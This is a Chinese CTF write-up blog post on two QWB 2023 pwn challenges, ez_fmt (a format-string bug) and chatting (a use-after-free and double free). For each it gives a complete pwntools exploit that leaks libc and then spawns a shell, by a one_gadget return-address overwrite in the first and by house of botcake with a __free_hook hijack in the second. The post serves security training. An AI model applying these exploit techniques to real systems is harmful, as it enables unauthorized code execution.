qwb2023

文章发布时间:

最后更新时间:

qwb_pwn附件下载,请注意为动态附件(应该pwn没影响吧)
qwb2023_wp_written_by_Hor1zon
强网先锋外啥也不会,明年再来

[qwb2023 强网先锋-ez_fmt]
checksec:

vuln:


gift会泄露栈顶地址,动调可以算出ret参数的地址
格式化字符串漏洞任意地址写,可以劫持返回地址,利用printf函数泄露libc地址
给了libc文件,直接尝试打one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from pwn import p64
def debug():
gdb.attach(p)
pause()

#r=remote('47.104.24.40',1337)
p=process('./ez_fmt')
elf=ELF("./ez_fmt")
libc=ELF("./libc-2.31.so")
context(arch='amd64', os='linux',log_level = 'debug')

p.recvuntil(b'There is a gift for you ')
stack_rsp=int(p.recv(14),16)

#debug()
#-----calc addr
stack_printf_ret = stack_rsp - 0x8
stack_ret = stack_rsp + 0x78
stack_printf = stack_rsp + 0x158
success('stack_rsp: %s',hex(stack_rsp))
success('stack_ret: %s',hex(stack_ret))
success('stack_printf %s',hex(stack_printf))

ogg1 = 0xe3afe
ogg2 = 0xe3b01
ogg3 = 0xe3b04


stack_printf_ret_addr = stack_printf_ret & 0xffff
success('stack_printf_ret_addr %s',hex(stack_printf_ret_addr))
#debug()
#-----hijack ret_addr&&leak libc_base
payload=b'%19$p'
payload+=b'%'+str(0x1205-6-8).encode()+b'c%10$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_printf_ret)
p.send(payload)
print(b"[*]p1=" + payload)
p.recvuntil(b'0x')

libc_base=int(p.recv(12),16) - 0xf3 - libc.sym['__libc_start_main']
one=libc_base+ogg2
one1=one&0xffff
one2=(one>>16)&0xffff
success('libc_base: %s',hex(libc_base))

payload=b'%'+str(one2).encode()+b'c%10$hn'
payload+=b'%'+str(one1-one2).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_ret-0x10+2)+p64(stack_ret-0x10)
p.send(payload)

print(b"[*]p2=" + payload)
p.interactive()

[qwb2023 pwn-chatting]
逆向就死了 :(
首先是64位linux的cpp,保护全开,glibc = 2.27

程序实现了一个通讯录,功能分别为:添加、删除、列出用户,发送和读取message

发现一处UAF:
首先程序里有两个存放 message 的地方:

第一处是 0x2112E0,这个 vector 里面有许多个 entry,每个 entry 存放了所有收件人为某用户的 message。
第二处是 0x211280(下图的 LOCAL_MSGLIST_ENTRY),如果 message 的收件人刚好是当前用户 (CURR_USER),message 会同时存放至 MSG_LIST 和 LOCAL_MSGLIST_ENTR

两个地方共用了同一个 message 指针


漏洞点在于 delete:delete 用户时,程序会释放和清空 MSG_LIST 中的 entry 和 message 指针 ,但没有清空LOCAL_MSGLIST_ENTRY的 message 指针。

因此:首先发送一条 message 给自己,然后删除当前用户,就能使用 read 功能读取 LOCAL_MSGLIST_ENTRY 中已释放 message 指针上的数据,从而泄漏内存地址。

此外。delete中存在doublefree漏洞。

这里选择用UAF泄露地址

打house of botcake 劫持free hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(os ="Linux",arch="amd64", log_level="debug")

#p = remote("101.200.122.251", 14509)
p = process('./chatting')
libc = ELF("./libc-2.27.so")

def add(n):
p.sendlineafter("add", " exit): ")
p.sendlineafter(n, "Enter new username: ")

def delete(n):
p.sendlineafter("delete", " exit): ")
p.sendlineafter(n, "Enter username to delete: ")

def message(to, ctx):
p.sendlineafter("message", " exit): ")
p.sendlineafter(to, "To:")
p.sendlineafter(len(ctx), "Message size:")
p.sendlineafter(ctx, "Content:")

def listuser():
p.sendlineafter("listuser", " exit): ")

def read():
p.sendlineafter("read", " exit): ")

def switch(n):
p.sendlineafter("switch", " exit): ")
p.sendlineafter(n, "Enter username to switch to: ")

# UAF
p.sendline("str1k3")

add("aaaa")
add("bbbb")

message("str1k3", "a"*0x500)
message("xxxx", "b"*0x500)

delete("str1k3") # BUG1
message("xxxx", "c"*0x800)

read()
p.recvuntil("str1k3 -> str1k3: ")
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ec0d0
success("libc_base: "+ hex(libc_base))

# house of botcake

add("A"*0x80)
add("B"*0x80)
add("C"*0x80)
add("D"*0x80)
add("E"*0x80)

add("F"*0x80)
switch("F"*0x80)
for i in range(7):
message("F"*0x80, str(i)*0x80) # 事先创建大量 0x90 空闲堆块保护 unsorted bin chunk
read()

switch("A"*0x80)
message("A"*0x80, "a"*0x100)
switch("B"*0x80)
message("B"*0x80, "b"*0x100)
switch("C"*0x80)
for i in range(7):
message("C"*0x80, str(i)*0x100) # 填充 tcache bin
read()

switch("A"*0x80)
read()
switch("B"*0x80)
read()

switch("bbbb")
message("xxxx", "a"*0x100)

switch("B"*0x80)
read() # BUG2,Double free,chunk 同时位于 unosorted bin 和 tcache

# free_hook

switch("bbbb")
pp = b'A'*0x100+flat([0, 0x111, libc_base+0x3ed8e0])
message("xxxx", pp.ljust(0x200)) # 篡改 tcache chunk fd 为 free_hook

switch("D"*0x80)
message("D"*0x80, b"/bin/sh".ljust(0x100, b'\x00'))
message("bbbb", (p64(0)+p64(libc.symbols["system"])).ljust(0x100, b'\x00')) # 覆盖 free_hook 为 system
read() # 释放 "/bin/sh"

p.interactive()